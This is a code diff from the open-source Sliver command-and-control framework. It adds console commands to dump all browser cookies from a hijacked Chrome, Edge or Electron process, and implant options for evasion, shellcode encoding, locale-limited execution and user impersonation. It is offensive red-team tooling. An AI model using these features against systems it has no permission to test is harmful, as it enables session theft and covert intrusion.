next = fmt.Sprintf("%s%s%s", console.Bold+console.Green, interval, console.Normal)
|
||||
}
|
||||
|
||||
// We need a slice of strings so we can apply filters
|
||||
var rowEntries []string
|
||||
|
||||
/*
|
||||
Round the duration to the nearest second to be more output friendly.
|
||||
We deal in seconds for everything, so it makes sense to show outputs
|
||||
in seconds to remain consistent.
|
||||
*/
|
||||
timeSinceLastCheckin := time.Since(time.Unix(beacon.LastCheckin, 0)).Round(time.Second)
|
||||
lastCheckinDateTime := time.Unix(beacon.LastCheckin, 0).Format(time.UnixDate)
|
||||
|
||||
if con.Settings.SmallTermWidth < width {
|
||||
if wideTermWidth {
|
||||
rowEntries = []string{
|
||||
fmt.Sprintf(color+"%s"+console.Normal, strings.Split(beacon.ID, "-")[0]),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, beacon.Name),
|
||||
@@ -188,8 +157,8 @@ func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regex
|
||||
fmt.Sprintf(color+"%s"+console.Normal, strings.TrimPrefix(beacon.Username, beacon.Hostname+"\\")),
|
||||
fmt.Sprintf(color+"%s/%s"+console.Normal, beacon.OS, beacon.Arch),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, beacon.Locale),
|
||||
fmt.Sprintf(color+"%s (%s ago)"+console.Normal, lastCheckinDateTime, timeSinceLastCheckin),
|
||||
next,
|
||||
con.FormatDateDelta(time.Unix(beacon.LastCheckin, 0), wideTermWidth, false),
|
||||
con.FormatDateDelta(time.Unix(beacon.NextCheckin, 0), wideTermWidth, true),
|
||||
}
|
||||
} else {
|
||||
rowEntries = []string{
|
||||
@@ -198,8 +167,8 @@ func renderBeacons(beacons []*clientpb.Beacon, filter string, filterRegex *regex
|
||||
fmt.Sprintf(color+"%s"+console.Normal, beacon.Transport),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, strings.TrimPrefix(beacon.Username, beacon.Hostname+"\\")),
|
||||
fmt.Sprintf(color+"%s/%s"+console.Normal, beacon.OS, beacon.Arch),
|
||||
fmt.Sprintf(color+"%s ago"+console.Normal, timeSinceLastCheckin),
|
||||
next,
|
||||
con.FormatDateDelta(time.Unix(beacon.LastCheckin, 0), wideTermWidth, false),
|
||||
con.FormatDateDelta(time.Unix(beacon.NextCheckin, 0), wideTermWidth, true),
|
||||
}
|
||||
}
|
||||
// Build the row struct
|
||||
|
||||
@@ -0,0 +1,71 @@
|
||||
package builders
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
)
|
||||
|
||||
// BuildersCmd - List external builders
|
||||
func BuildersCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
builders, err := con.Rpc.Builders(context.Background(), &commonpb.Empty{})
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s", err)
|
||||
return
|
||||
}
|
||||
if len(builders.Builders) == 0 {
|
||||
con.PrintInfof("No external builders connected to server\n")
|
||||
} else {
|
||||
PrintBuilders(builders.Builders, con)
|
||||
}
|
||||
}
|
||||
|
||||
func PrintBuilders(externalBuilders []*clientpb.Builder, con *console.SliverConsoleClient) {
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.AppendHeader(table.Row{
|
||||
"Name", "Operator", "Templates", "Platform", "Compiler Targets",
|
||||
})
|
||||
for _, builder := range externalBuilders {
|
||||
|
||||
targets := []string{}
|
||||
for _, target := range builder.Targets {
|
||||
targets = append(targets, fmt.Sprintf("%s:%s/%s", target.Format, target.GOOS, target.GOARCH))
|
||||
}
|
||||
|
||||
row := table.Row{
|
||||
builder.Name,
|
||||
builder.OperatorName,
|
||||
strings.Join(builder.Templates, ", "),
|
||||
fmt.Sprintf("%s/%s", builder.GOOS, builder.GOARCH),
|
||||
strings.Join(targets, "\n"),
|
||||
}
|
||||
tw.AppendRow(table.Row(row))
|
||||
}
|
||||
con.Printf("%s\n", tw.Render())
|
||||
}
|
||||
+96
-19
@@ -23,7 +23,7 @@ package command
|
||||
|
||||
Guidelines when adding a command:
|
||||
|
||||
* Try to reuse the same short/long flags for the same paramenter,
|
||||
* Try to reuse the same short/long flags for the same parameter,
|
||||
e.g. "timeout" flags should always be -t and --timeout when possible.
|
||||
Try to avoid creating flags that conflict with others even if you're
|
||||
not using the flag, e.g. avoid using -t even if your command doesn't
|
||||
@@ -41,6 +41,7 @@ import (
|
||||
"github.com/bishopfox/sliver/client/command/armory"
|
||||
"github.com/bishopfox/sliver/client/command/backdoor"
|
||||
"github.com/bishopfox/sliver/client/command/beacons"
|
||||
"github.com/bishopfox/sliver/client/command/builders"
|
||||
"github.com/bishopfox/sliver/client/command/completers"
|
||||
"github.com/bishopfox/sliver/client/command/cursed"
|
||||
"github.com/bishopfox/sliver/client/command/dllhijack"
|
||||
@@ -457,6 +458,7 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.String("c", "cert", "", "PEM encoded certificate file")
|
||||
f.String("k", "key", "", "PEM encoded private key file")
|
||||
f.Bool("e", "lets-encrypt", false, "attempt to provision a let's encrypt certificate")
|
||||
f.Bool("E", "disable-randomized-jarm", false, "disable randomized jarm fingerprints")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
f.Bool("p", "persistent", false, "make persistent across restarts")
|
||||
@@ -519,7 +521,6 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
Help: "Reconfigure the active beacon/session",
|
||||
LongHelp: help.GetHelpFor([]string{consts.ReconfigStr}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.String("n", "name", "", "change implant name to")
|
||||
f.String("r", "reconnect-interval", "", "reconnect interval for implant")
|
||||
f.String("i", "beacon-interval", "", "beacon callback interval")
|
||||
f.String("j", "beacon-jitter", "", "beacon callback jitter (random up to)")
|
||||
@@ -902,6 +903,9 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
Args: func(a *grumble.Args) {
|
||||
a.String("session", "session ID", grumble.Default(""))
|
||||
},
|
||||
Completer: func(prefix string, args []string) []string {
|
||||
return use.BeaconAndSessionIDCompleter(prefix, args, con)
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
info.InfoCmd(ctx, con)
|
||||
@@ -1205,6 +1209,8 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
a.Uint("pid", "pid")
|
||||
},
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Bool("S", "disable-sgn", true, "disable shikata ga nai shellcode encoder")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
HelpGroup: consts.SliverWinHelpGroup,
|
||||
@@ -1294,6 +1300,9 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.String("P", "password", "", "SSH user password")
|
||||
f.String("l", "login", "", "username to use to connect")
|
||||
f.Bool("s", "skip-loot", false, "skip the prompt to use loot credentials")
|
||||
f.String("c", "kerberos-config", "/etc/krb5.conf", "path to remote Kerberos config file")
|
||||
f.String("k", "kerberos-keytab", "", "path to Kerberos keytab file")
|
||||
f.String("r", "kerberos-realm", "", "Kerberos realm")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
@@ -1315,8 +1324,10 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.String("a", "arch", "amd64", "cpu architecture")
|
||||
f.String("N", "name", "", "agent name")
|
||||
f.Bool("d", "debug", false, "enable debug features")
|
||||
f.Bool("e", "evasion", false, "enable evasion features")
|
||||
f.Bool("e", "evasion", false, "enable evasion features (e.g. overwrite user space hooks)")
|
||||
f.Bool("l", "skip-symbols", false, "skip symbol obfuscation")
|
||||
f.String("I", "template", "sliver", "implant code template")
|
||||
f.Bool("E", "external-builder", false, "use an external builder")
|
||||
|
||||
f.String("c", "canary", "", "canary domain(s)")
|
||||
|
||||
@@ -1342,6 +1353,7 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.String("y", "limit-username", "", "limit execution to specified username")
|
||||
f.String("z", "limit-hostname", "", "limit execution to specified hostname")
|
||||
f.String("F", "limit-fileexists", "", "limit execution to hosts with this file in the filesystem")
|
||||
f.String("L", "limit-locale", "", "limit execution to hosts that match this locale")
|
||||
|
||||
f.String("f", "format", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see `psexec` for more info) and 'shellcode' (windows only)")
|
||||
f.String("s", "save", "", "directory/file to the binary to")
|
||||
@@ -1372,8 +1384,10 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.String("a", "arch", "amd64", "cpu architecture")
|
||||
f.String("N", "name", "", "agent name")
|
||||
f.Bool("d", "debug", false, "enable debug features")
|
||||
f.Bool("e", "evasion", false, "enable evasion features")
|
||||
f.Bool("e", "evasion", false, "enable evasion features (e.g. overwrite user space hooks)")
|
||||
f.Bool("l", "skip-symbols", false, "skip symbol obfuscation")
|
||||
f.String("I", "template", "sliver", "implant code template")
|
||||
f.Bool("E", "external-builder", false, "use an external builder")
|
||||
|
||||
f.String("c", "canary", "", "canary domain(s)")
|
||||
|
||||
@@ -1399,6 +1413,7 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.String("y", "limit-username", "", "limit execution to specified username")
|
||||
f.String("z", "limit-hostname", "", "limit execution to specified hostname")
|
||||
f.String("F", "limit-fileexists", "", "limit execution to hosts with this file in the filesystem")
|
||||
f.String("L", "limit-locale", "", "limit execution to hosts that match this locale")
|
||||
|
||||
f.String("f", "format", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see `psexec` for more info) and 'shellcode' (windows only)")
|
||||
f.String("s", "save", "", "directory/file to the binary to")
|
||||
@@ -1542,6 +1557,8 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.Bool("R", "run-at-load", false, "run the implant entrypoint from DllMain/Constructor (shared library only)")
|
||||
f.String("Z", "strategy", "", "specify a connection strategy (r = random, rd = random domain, s = sequential)")
|
||||
|
||||
f.String("I", "template", "sliver", "implant code template")
|
||||
|
||||
f.Int("j", "reconnect", generate.DefaultReconnect, "attempt to reconnect every n second(s)")
|
||||
f.Int("P", "poll-timeout", generate.DefaultPollTimeout, "long poll request timeout")
|
||||
f.Int("k", "max-errors", generate.DefaultMaxErrors, "max number of connection errors")
|
||||
@@ -1551,6 +1568,7 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.String("y", "limit-username", "", "limit execution to specified username")
|
||||
f.String("z", "limit-hostname", "", "limit execution to specified hostname")
|
||||
f.String("F", "limit-fileexists", "", "limit execution to hosts with this file in the filesystem")
|
||||
f.String("L", "limit-locale", "", "limit execution to hosts that match this locale")
|
||||
|
||||
f.String("f", "format", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see `psexec` for more info) and 'shellcode' (windows only)")
|
||||
|
||||
@@ -1605,6 +1623,8 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
|
||||
f.Bool("R", "run-at-load", false, "run the implant entrypoint from DllMain/Constructor (shared library only)")
|
||||
|
||||
f.String("I", "template", "sliver", "implant code template")
|
||||
|
||||
f.Int("j", "reconnect", generate.DefaultReconnect, "attempt to reconnect every n second(s)")
|
||||
f.Int("P", "poll-timeout", generate.DefaultPollTimeout, "long poll request timeout")
|
||||
f.Int("k", "max-errors", generate.DefaultMaxErrors, "max number of connection errors")
|
||||
@@ -1614,6 +1634,7 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.String("y", "limit-username", "", "limit execution to specified username")
|
||||
f.String("z", "limit-hostname", "", "limit execution to specified hostname")
|
||||
f.String("F", "limit-fileexists", "", "limit execution to hosts with this file in the filesystem")
|
||||
f.String("L", "limit-locale", "", "limit execution to hosts that match this locale")
|
||||
|
||||
f.String("f", "format", "exe", "Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see `psexec` for more info) and 'shellcode' (windows only)")
|
||||
|
||||
@@ -1944,6 +1965,7 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.Bool("4", "ip4", true, "display information about IPv4 sockets")
|
||||
f.Bool("6", "ip6", false, "display information about IPv6 sockets")
|
||||
f.Bool("l", "listen", false, "display information about listening sockets")
|
||||
f.Bool("n", "numeric", false, "display numeric addresses (disable hostname resolution)")
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
HelpGroup: consts.SliverHelpGroup,
|
||||
@@ -1962,6 +1984,7 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.Bool("c", "print-cmdline", false, "print command line arguments")
|
||||
f.Bool("O", "overflow", false, "overflow terminal width (display truncated rows)")
|
||||
f.Int("S", "skip-pages", 0, "skip the first n page(s)")
|
||||
f.Bool("T", "tree", false, "print process tree")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
@@ -2024,9 +2047,14 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
Help: "Run a new process in the context of the designated user (Windows Only)",
|
||||
LongHelp: help.GetHelpFor([]string{consts.RunAsStr}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.String("u", "username", "NT AUTHORITY\\SYSTEM", "user to impersonate")
|
||||
f.String("u", "username", "", "user to impersonate")
|
||||
f.String("p", "process", "", "process to start")
|
||||
f.String("a", "args", "", "arguments for the process")
|
||||
f.String("d", "domain", "", "domain of the user")
|
||||
f.String("P", "password", "", "password of the user")
|
||||
f.Bool("s", "show-window", false, `
|
||||
Log on, but use the specified credentials on the network only. The new process uses the same token as the caller, but the system creates a new logon session within LSA, and the process uses the specified credentials as the default credentials.`)
|
||||
f.Bool("n", "net-only", false, "use ")
|
||||
f.Int("t", "timeout", 30, "command timeout in seconds")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
@@ -2098,6 +2126,7 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.String("u", "username", "", "username of the user to impersonate")
|
||||
f.String("p", "password", "", "password of the user to impersonate")
|
||||
f.String("d", "domain", "", "domain of the user to impersonate")
|
||||
f.String("T", "logon-type", "LOGON_NEW_CREDENTIALS", "logon type to use")
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
HelpGroup: consts.SliverWinHelpGroup,
|
||||
@@ -3420,7 +3449,7 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
LongHelp: help.GetHelpFor([]string{consts.Cursed, consts.CursedConsole}),
|
||||
HelpGroup: consts.GenericHelpGroup,
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Int("r", "remote-debugging-port", 21099, "remote debugging tcp port")
|
||||
f.Int("r", "remote-debugging-port", 0, "remote debugging tcp port (0 = random)`")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
@@ -3437,14 +3466,19 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
LongHelp: help.GetHelpFor([]string{consts.Cursed, consts.CursedChrome}),
|
||||
HelpGroup: consts.GenericHelpGroup,
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Int("r", "remote-debugging-port", 21099, "remote debugging tcp port")
|
||||
f.Int("r", "remote-debugging-port", 0, "remote debugging tcp port (0 = random)")
|
||||
f.Bool("R", "restore", true, "restore the user's session after process termination")
|
||||
f.String("e", "exe", "", "chrome/chromium browser executable path (blank string = auto)")
|
||||
f.String("u", "user-data", "", "user data directory (blank string = auto)")
|
||||
f.String("p", "payload", "", "cursed chrome payload file path (.js)")
|
||||
f.Bool("k", "keep-alive", false, "keeps browser alive after last browser window closes")
|
||||
f.Bool("H", "headless", false, "start browser process in headless mode")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Args: func(a *grumble.Args) {
|
||||
a.StringList("args", "additional chrome cli arguments", grumble.Default([]string{}))
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
cursed.CursedChromeCmd(ctx, con)
|
||||
@@ -3458,17 +3492,60 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
LongHelp: help.GetHelpFor([]string{consts.Cursed, consts.CursedEdge}),
|
||||
HelpGroup: consts.GenericHelpGroup,
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Int("r", "remote-debugging-port", 21099, "remote debugging tcp port")
|
||||
f.Int("r", "remote-debugging-port", 0, "remote debugging tcp port (0 = random)")
|
||||
f.Bool("R", "restore", true, "restore the user's session after process termination")
|
||||
f.String("e", "exe", "", "edge browser executable path (blank string = auto)")
|
||||
f.String("u", "user-data", "", "user data directory (blank string = auto)")
|
||||
f.String("p", "payload", "", "cursed chrome payload file path (.js)")
|
||||
f.Bool("k", "keep-alive", false, "keeps browser alive after last browser window closes")
|
||||
f.Bool("H", "headless", false, "start browser process in headless mode")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Args: func(a *grumble.Args) {
|
||||
a.StringList("args", "additional edge cli arguments", grumble.Default([]string{}))
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
cursed.CursedEdgeCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
})
|
||||
cursedCmd.AddCommand(&grumble.Command{
|
||||
Name: consts.CursedElectron,
|
||||
Help: "Curse a remote Electron application",
|
||||
LongHelp: help.GetHelpFor([]string{consts.Cursed, consts.CursedElectron}),
|
||||
HelpGroup: consts.GenericHelpGroup,
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.String("e", "exe", "", "remote electron executable absolute path")
|
||||
f.Int("r", "remote-debugging-port", 0, "remote debugging tcp port (0 = random)")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Args: func(a *grumble.Args) {
|
||||
a.StringList("args", "additional electron cli arguments", grumble.Default([]string{}))
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
cursed.CursedElectronCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
})
|
||||
cursedCmd.AddCommand(&grumble.Command{
|
||||
Name: consts.CursedCookies,
|
||||
Help: "Dump all cookies from cursed process",
|
||||
LongHelp: help.GetHelpFor([]string{consts.Cursed, consts.CursedCookies}),
|
||||
HelpGroup: consts.GenericHelpGroup,
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.String("s", "save", "", "save to file")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
cursed.CursedEdgeCmd(ctx, con)
|
||||
cursed.CursedCookiesCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
@@ -3491,23 +3568,23 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
return nil
|
||||
},
|
||||
})
|
||||
cursedCmd.AddCommand(&grumble.Command{
|
||||
Name: consts.CursedElectron,
|
||||
Help: "Curse a remote Electron application",
|
||||
LongHelp: help.GetHelpFor([]string{consts.Cursed, consts.CursedElectron}),
|
||||
con.App.AddCommand(cursedCmd)
|
||||
|
||||
// [ Builders ] ---------------------------------------------
|
||||
buildersCmd := &grumble.Command{
|
||||
Name: consts.BuildersStr,
|
||||
Help: "List external builders",
|
||||
LongHelp: help.GetHelpFor([]string{consts.BuildersStr}),
|
||||
HelpGroup: consts.GenericHelpGroup,
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.String("e", "exe", "", "remote electron executable absolute path")
|
||||
f.Int("r", "remote-debugging-port", 21099, "remote debugging tcp port")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
cursed.CursedElectronCmd(ctx, con)
|
||||
builders.BuildersCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
})
|
||||
con.App.AddCommand(cursedCmd)
|
||||
}
|
||||
con.App.AddCommand(buildersCmd)
|
||||
}
|
||||
@@ -175,7 +175,7 @@ func startCursedChromeProcess(isEdge bool, session *clientpb.Session, ctx *grumb
|
||||
con.Printf("success!\n")
|
||||
|
||||
con.PrintInfof("Starting %s process ... ", name)
|
||||
debugPort := uint16(ctx.Flags.Int("remote-debugging-port"))
|
||||
debugPort := getRemoteDebuggerPort(ctx)
|
||||
args := []string{
|
||||
fmt.Sprintf("--remote-debugging-port=%d", debugPort),
|
||||
}
|
||||
@@ -185,6 +185,16 @@ func startCursedChromeProcess(isEdge bool, session *clientpb.Session, ctx *grumb
|
||||
if ctx.Flags.Bool("restore") {
|
||||
args = append(args, "--restore-last-session")
|
||||
}
|
||||
if ctx.Flags.Bool("keep-alive") {
|
||||
args = append(args, "--keep-alive-for-test")
|
||||
}
|
||||
if ctx.Flags.Bool("headless") {
|
||||
args = append(args, "--headless")
|
||||
}
|
||||
additionalArgs := ctx.Args.StringList("args")
|
||||
if len(additionalArgs) > 0 {
|
||||
args = append(args, additionalArgs...)
|
||||
}
|
||||
|
||||
// Execute the Chrome process with the extra flags
|
||||
// TODO: PPID spoofing, etc.
|
||||
|
||||
@@ -52,7 +52,7 @@ func CursedConsoleCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Connecting to '%s', use 'exit' to return ... \n\n", target.Title)
|
||||
startCursedConsole(curse, target, con)
|
||||
startCursedConsole(curse, true, target, con)
|
||||
}
|
||||
|
||||
func selectDebugTarget(targets []overlord.ChromeDebugTarget, con *console.SliverConsoleClient) *overlord.ChromeDebugTarget {
|
||||
@@ -89,7 +89,13 @@ func selectDebugTarget(targets []overlord.ChromeDebugTarget, con *console.Sliver
|
||||
return &selectedTarget
|
||||
}
|
||||
|
||||
func startCursedConsole(curse *core.CursedProcess, target *overlord.ChromeDebugTarget, con *console.SliverConsoleClient) {
|
||||
var (
|
||||
helperHooks = []string{
|
||||
"console.log = (...a) => {return a;}", // console.log
|
||||
}
|
||||
)
|
||||
|
||||
func startCursedConsole(curse *core.CursedProcess, helpers bool, target *overlord.ChromeDebugTarget, con *console.SliverConsoleClient) {
|
||||
tmpFile, _ := ioutil.TempFile("", "cursed")
|
||||
reader, err := readline.NewEx(&readline.Config{
|
||||
Prompt: "\033[31mcursed »\033[0m ",
|
||||
@@ -104,6 +110,19 @@ func startCursedConsole(curse *core.CursedProcess, target *overlord.ChromeDebugT
|
||||
con.PrintErrorf("Failed to create read line: %s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
if helpers {
|
||||
// Execute helper hooks
|
||||
ctx, _, _ := overlord.GetChromeContext(target.WebSocketDebuggerURL, curse)
|
||||
for _, hook := range helperHooks {
|
||||
_, err := overlord.ExecuteJS(ctx, target.WebSocketDebuggerURL, target.ID, hook)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
con.Printf(console.Bold+">>> Cursed Console, use ':help' for options%s\n\n", console.Normal)
|
||||
for {
|
||||
line, err := reader.Readline()
|
||||
if err == readline.ErrInterrupt {
|
||||
@@ -116,8 +135,38 @@ func startCursedConsole(curse *core.CursedProcess, target *overlord.ChromeDebugT
|
||||
break
|
||||
}
|
||||
switch strings.TrimSpace(line) {
|
||||
|
||||
case ":help":
|
||||
con.Println()
|
||||
con.Println("Available commands:")
|
||||
con.Println(" :file - Execute local .js file")
|
||||
con.Println(" :help - Show this help")
|
||||
con.Println(" :exit - Exit the console")
|
||||
con.Println()
|
||||
|
||||
case ":file":
|
||||
jsCode, err := ioutil.ReadFile(line)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
continue
|
||||
}
|
||||
ctx, _, _ := overlord.GetChromeContext(target.WebSocketDebuggerURL, curse)
|
||||
result, err := overlord.ExecuteJS(ctx, target.WebSocketDebuggerURL, target.ID, string(jsCode))
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
continue
|
||||
}
|
||||
con.Println()
|
||||
if 0 < len(result) {
|
||||
con.Printf("%s\n", result)
|
||||
con.Println()
|
||||
}
|
||||
|
||||
case ":exit":
|
||||
fallthrough
|
||||
case "exit":
|
||||
return
|
||||
|
||||
default:
|
||||
ctx, _, _ := overlord.GetChromeContext(target.WebSocketDebuggerURL, curse)
|
||||
result, err := overlord.ExecuteJS(ctx, target.WebSocketDebuggerURL, target.ID, line)
|
||||
@@ -131,5 +180,4 @@ func startCursedConsole(curse *core.CursedProcess, target *overlord.ChromeDebugT
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,69 @@
|
||||
package cursed
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/overlord"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
func CursedCookiesCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
curse := selectCursedProcess(con)
|
||||
if curse == nil {
|
||||
return
|
||||
}
|
||||
con.Println()
|
||||
|
||||
cookies, err := overlord.DumpCookies(curse, curse.DebugURL().String())
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to dump cookies: %s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
con.PrintInfof("Successfully dumped %d cookies\n", len(cookies))
|
||||
if len(cookies) == 0 {
|
||||
return
|
||||
}
|
||||
saveFile := ctx.Flags.String("save")
|
||||
if saveFile == "" {
|
||||
saveFile = fmt.Sprintf("cookies-%s.json", time.Now().Format("20060102150405"))
|
||||
}
|
||||
jsonCookies := []string{}
|
||||
for _, cookie := range cookies {
|
||||
jsonCookie, err := cookie.MarshalJSON()
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to marshal cookie: %s\n", err)
|
||||
continue
|
||||
}
|
||||
jsonCookies = append(jsonCookies, string(jsonCookie))
|
||||
}
|
||||
err = ioutil.WriteFile(saveFile, []byte(strings.Join(jsonCookies, "\n")), 0600)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to save cookies: %s\n", err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Saved to %s", saveFile)
|
||||
con.Println()
|
||||
}
|
||||
@@ -149,10 +149,14 @@ func checkElectronProcess(electronExe string, session *clientpb.Session, ctx *gr
|
||||
|
||||
func startCursedElectronProcess(electronExe string, session *clientpb.Session, ctx *grumble.Context, con *console.SliverConsoleClient) (*core.CursedProcess, error) {
|
||||
con.PrintInfof("Starting '%s' ... ", path.Base(electronExe))
|
||||
debugPort := uint16(ctx.Flags.Int("remote-debugging-port"))
|
||||
debugPort := getRemoteDebuggerPort(ctx)
|
||||
args := []string{
|
||||
fmt.Sprintf("--remote-debugging-port=%d", debugPort),
|
||||
}
|
||||
additionalArgs := ctx.Args.StringList("args")
|
||||
if len(additionalArgs) > 0 {
|
||||
args = append(args, additionalArgs...)
|
||||
}
|
||||
|
||||
// Execute the Chrome process with the extra flags
|
||||
// TODO: PPID spoofing, etc.
|
||||
|
||||
@@ -21,6 +21,7 @@ package cursed
|
||||
import (
|
||||
"bytes"
|
||||
"fmt"
|
||||
insecureRand "math/rand"
|
||||
"strconv"
|
||||
"strings"
|
||||
"text/tabwriter"
|
||||
@@ -35,6 +36,7 @@ import (
|
||||
|
||||
// CursedChromeCmd - Execute a .NET assembly in-memory
|
||||
func CursedCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
// Collect existing curses from core
|
||||
cursedProcesses := [][]string{}
|
||||
core.CursedProcesses.Range(func(key, value interface{}) bool {
|
||||
curse := value.(*core.CursedProcess)
|
||||
@@ -48,6 +50,7 @@ func CursedCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
})
